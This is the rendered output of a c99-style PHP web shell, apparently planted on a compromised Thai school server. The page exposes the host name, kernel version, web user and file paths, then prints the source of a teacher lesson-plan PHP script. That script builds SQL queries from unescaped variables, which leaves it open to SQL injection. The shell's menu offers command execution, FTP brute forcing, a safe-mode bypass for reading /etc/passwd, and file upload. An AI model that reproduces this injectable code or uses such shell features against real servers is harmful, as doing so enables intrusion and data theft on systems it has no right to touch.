!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher_aj_viratt/tech_plan/   drwxr-xr-x
Free 52.4 GB of 127.8 GB (41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlanList.php.bak (10.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start();
 if (session_is_registered("valid_user"))
 {
 $Username = $valid_user;
include("../../include/FunctionDB.php");
include("../../include/Function.php");
ConnectDB();
$sql = "Select * From personal_tb Where Username='$Username'";
$result1 = mysql_query($sql) or die("error".mysql_error());
$rss = mysql_fetch_array($result1);
$Teacher_code = $rss["Teacher_code"];

$strSQL ="Select * From tech_plan_tb Where Teacher_code='$Teacher_code'";
if (! $Page)
$Page = 1;
$Pre_Page = $Page - 1;
$Next_Page = $Page +1;
$Per_Page =20;
$result = mysql_query($strSQL);

$Page_start = ($Per_Page*$Page) - $Per_Page;
$Num_Rows = mysql_num_rows($result);

if( $Num_Rows <= $Per_Page)
      $Num_Pages = 1;
else if (($Num_Rows % $Per_Page) == 0)
       $Num_Pages = ($Num_Rows / $Per_Page);
     else
        $Num_Pages = ($Num_Rows / $Per_Page) + 1;
$Num_Pages = (int)$Num_Pages;

if (( $Page > $Num_Pages) || ($Page < 0))
  echo"Page $Page More than $Num_Pages";
$strSQL .=" LIMIT $Page_start,$Per_Page" ;
$result = mysql_query($strSQL) or die("Error $result".mysql_error()); 
$num = mysql_num_rows( $result );

?> 
<html>
<head>
<title>Display Plan List</title>
<link rel="stylesheet" href="../../css/style1.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874"></head>
<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td height="29" bgcolor="#E4F3F8"><div align="center"><img src="../../Image/headTech1.jpg" width="700" height="58"></div></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td><table width="100%" border="0" cellpadding="0" cellspacing="2" bgcolor="#DBEFF7">
        <tr bgcolor="#DBEFF7" background="../Image/bart1.jpg"> 
          <td width="20%" height="25" bgcolor="#DBEFF7" background="../../Image/bart1.jpg" class="table" > 
            <div align="center"><font size="2" face="Tahoma"><strong><a href="../menu_teacher.php" class="d">กลับหน้าหลัก</a></strong></font></div></td>
          <td width="20%" height="25" bgcolor="#DBEFF7" background="../../Image/bart1.jpg" class="table" > 
            <div align="center"><font size="2" face="Tahoma"><strong><a href="Frmplan.php?Teacher_code=<? echo $rss[Teacher_code]?>" class="d">เพิ่ม</a></strong></font></div></td>
          <td width="20%" height="25" bgcolor="#DBEFF7" background="../../Image/bart1.jpg" class="table" > 
            <div align="center" ><font size="2" face="Tahoma"><strong><a href="EditPlanList.php?Teacher_code=<? echo $rss[Teacher_code]?>" class="d">แก้ไข</a></strong></font></div></td>
          <td width="20%" height="25" bgcolor="#DBEFF7" background="../../Image/bart1.jpg" class="table" > 
            <div align="center"><font size="2" face="Tahoma"><strong><a href="../../logout.php" class="d">Logout</a></strong></font></div></td>
        </tr>
      </table></td>
  </tr>
  <tr> 
    <td><div align="center"><font color="#003366" size="2" face="Tahoma">ขณะนี้ 
        อ.</font> <font color="#993333" size="2" face="Tahoma"><strong><?php echo $rss["Teacher_name"]?>&nbsp; 
        <?php echo $rss["Teacher_lastname"]?> </strong><font color="#000066">กำลัง</font></font><font color="#003366" size="2" face="Tahoma">ใช้งานระบบ</font></div></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#99CCFF" style="border:1px solid gray">
  <tr > 
    <td colspan="6" bgcolor="#D3E4F8"> <div align="center"><font color="#FFFF99" size="4" face="Tahoma"><strong><font color="#003366">รายการแผนการสอนรายวิชา 
        ของ อ</font><font color="#000000">. <font size="2" face="Tahoma"><?php echo"$rss[Teacher_name]"?>&nbsp;</font></font> 
        <font size="2" face="Tahoma" color="#000000"> <?php echo"$rss[Teacher_lastname]"?></font></strong></font></div></td>
  </tr>
  <tr bgcolor="#CCCCCC"> 
    <td width="4%"> <div align="center"><font color="#003399" size="2" face="Tahoma"><b>ลำดับ</b></font></div></td>
    <td width="8%"> <div align="center"><font color="#003399" size="2" face="Tahoma"><b>รหัสวิชา</b></font></div></td>
    <td width="49%"> <div align="center"><font color="#003399" size="2" face="Tahoma"><b>ชื่อวิชา</b></font></div></td>
    <td width="16%"> <div align="center"><font color="#003399" size="2" face="Tahoma"><b>ภาคการสอน</b></font></div></td>
    <td width="13%"> <div align="center"><font color="#003399" size="2" face="Tahoma"><b>วันที่เิ่ริ่มสอน</b></font></div></td>
    <td width="10%"> <div align="center"><font color="#003399" size="2" face="Tahoma"><b>รายละเอียด</b></font></div></td>
  </tr>
  <?
$i = 1;
 while($row = mysql_fetch_array($result))
 {

	 if($count==0)
	 {
?>
  <tr bordercolor="#EEEEEE" > 
    <td align=center bgcolor="#EEEEEE" ><strong><font color="#000000" size="2" face="Tahoma"> 
      <? 
		$no = ($Per_Page * ( $Page -1))+$i ;
		echo $no;
		?>
      </font></strong></td>
    <td align=center bgcolor="#EEEEEE" > <div align="center"><font color="#0033CC" size="2" face="Tahoma"> 
        <?php
        $Subject_no = $row["Subject_no"];
		$strsql = "Select * From subject_tb Where Subject_no='$Subject_no'";
		$result_1 = mysql_query($strsql) or die("Error".mysql_error());
		$rss2 = mysql_fetch_array($result_1);
		echo"$rss2[Subject_code]";
			?></a>
        </font></div></td>
    <td align=center bgcolor="#EEEEEE" > <div align="left"><font color="#000000" size="2" face="Tahoma"> 
        <?php 
			$Subject_no = $row["Subject_no"];
			$strSQL1 = "SELECT * FROM subject_tb WHERE Subject_no='$Subject_no' ";
			$result1= mysql_query($strSQL1);
			$rs1 = mysql_fetch_array($result1);
			echo"<a href=\"../../edu_depart/Subject/SubjectDetail.php?Subject_no=$rs1[Subject_no]\" class=\"d\">";
	        echo"$rs1[Subject_name]";
		    echo"</a>";
	       	?>
        </font></div></td>
    <td bgcolor="#EEEEEE"> <div align="left"><font color="#000000" size="2" face="Tahoma"> 
        <?php 
			 $Method_code = $row["Method_code"];
			$strSQL2 = "SELECT * FROM method_tb WHERE Method_code='$Method_code' ";
			$result2= mysql_query($strSQL2);
			  $rs2 = mysql_fetch_array($result2);
			echo"$rs2[Method_name]";
	       
	?>
        </font></div></td>
    <td bgcolor="#EEEEEE" > <div align="center"><font color="#003366" size="2" face="Tahoma"> 
        <?php 
	   $sday = $row[Start_date];
	$yearthai = explode("-",$sday);
    $day =      intval($yearthai[2]);
    $month =  intval($yearthai[1]);
    $year =     intval($yearthai[0]);	 
		  //////////////////
 //   $yearthai =  $day ;
  $m = getThaiSubMonth($month);
  $year = getYear($year);
	 echo"$day"." "."$m"." "."$year";
    ?>
        </font></div></td>
    <td bgcolor="#EEEEEE" > <div align="center"><font color="#000000" size="2" face="Tahoma">&nbsp;<a href="PlanDetail.php?Teacher_code=<? echo $row[Teacher_code]?>&Plan_code=<? echo $row[Plan_code]?>" class="c">แผนการสอน</a></font></div></td>
  </tr>
  <?
	$count=1;
	 }
else
{
?>
  <tr bordercolor="#EEEEEE"> 
    <td align="center" bgcolor="#FFFFFF" ><strong><font color="#000000" size="2" face="Tahoma"> 
      <? 
		$no = ($Per_Page * ( $Page -1))+$i ;
		echo $no;
		?>
      </font></strong></td>
    <td align="center" bgcolor="#FFFFFF" > <div align="center"><font color="#0033CC" size="2" face="Tahoma"> 
        <?php
        $Subject_no = $row["Subject_no"];
		$strsql = "Select * From subject_tb Where Subject_no='$Subject_no'";
		$result_1 = mysql_query($strsql) or die("Error".mysql_error());
		$rss2 = mysql_fetch_array($result_1);
		echo"$rss2[Subject_code]";
		?>
        </font></div></td>
    <td align="center" > <div align="left"><font color="#000000" size="2" face="Tahoma"> 
        <?php 
			$Subject_no = $row["Subject_no"];
			$strSQL1 = "SELECT * FROM subject_tb WHERE Subject_no='$Subject_no' ";
			$result1= mysql_query($strSQL1);
			$rs1 = mysql_fetch_array($result1);
			echo"<a href=\"../../edu_depart/Subject/SubjectDetail.php?Subject_no=$rs1[Subject_no]\" class=\"d\">";
	        echo"$rs1[Subject_name]";
		    echo"</a>";
	       	?>
        </font></div></td>
    <td bgcolor="#FFFFFF"> <div align="left"><font color="#000000" size="2" face="Tahoma"> 
        <?php 
			 $Method_code = $row["Method_code"];
			$strSQL2 = "SELECT * FROM method_tb WHERE Method_code='$Method_code' ";
			$result2= mysql_query($strSQL2);
			  $rs2 = mysql_fetch_array($result2);
			echo"$rs2[Method_name]";
	       
	?>
        </font></div></td>
    <td bgcolor="#FFFFFF" > <div align="center"><font color="#003366" size="2" face="Tahoma"> 
        <?php 
	   $sday = $row[Start_date];
	$yearthai = explode("-",$sday);
    $day =      intval($yearthai[2]);
    $month =  intval($yearthai[1]);
    $year =     intval($yearthai[0]);	 
		  //////////////////
 //   $yearthai =  $day ;
  $m = getThaiSubMonth($month);
  $year = getYear($year);
	 echo"$day"." "."$m"." "."$year";
    ?>
        </font></div></td>
    <td bgcolor="#FFFFFF" ><div align="center"><font color="#000000" size="2" face="Tahoma">&nbsp;<a href="PlanDetail.php?Teacher_code=<?echo $row[Teacher_code]?>&Plan_code=<?echo $row[Plan_code]?>" class="c">แผนการสอน</a></font></div></td>
  </tr>
  <?
$count=0;
}
$i++;
 }	
CloseDB();
?>
  <tr> 
    <td colspan="6" align="center" bgcolor="#D3E4F8"> <div align="center"><font color="#003366" size="2" face="Tahoma">ทั้งหมด 
        <? echo $num ?> รายการ</font></div></td>
</table>

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#99CCFF">
  <tr>
    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="Tahoma11"> 
      <div align="center"><font color="#FFFFFF"> <font color="#FFFFFF" size="3" face="MS Sans Serif"><strong> 
        <font color="#003366" size="2" face="Tahoma"><?php echo $Num_Pages;?></font></strong></font><font color="#003366" size="2" face="Tahoma"><strong>&nbsp;หน้า</strong></font> 
        <font color="#003366" size="2" face="Tahoma"><strong> 
        <?php
if ($Pre_Page)
   echo"<a href=\"$PHP_SELF?Page=$Pre_Page\" class=\"PageLink\"><font =\"Ms San serif\" size=\"2\"><b>&lt;&lt; Previus</b> </font></a>";

   for($i=1;$i<=$Num_Pages;$i++)
   {
    if($i != $Page)
	     echo" [<a href=\"$PHP_SELF?Page=$i\" class=\"PageLink\"><font =\"Ms San serif\" size=\"2\"><b>$i</b></font></a>] ";
    else
	    echo"<b>$i</b>";
   }
if($Page != $Num_Pages)
 echo"<a href=\"$PHP_SELF?Page=$Next_Page\" class=\"PageLink\"><font =\"Ms San serif\" size=\"2\"><b> Next &gt;&gt;</b> </font></a>";
 ?>
        </strong></font> </font> </div></td>
</tr>
</table>

<p>&nbsp;</p>
</html>
<?php 
	}
else
{
       echo"<meta http-equiv=\"refresh\" content=\"3;URL=FrmLogin.php\" target=\"mainFrame\">\n";
       echo"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--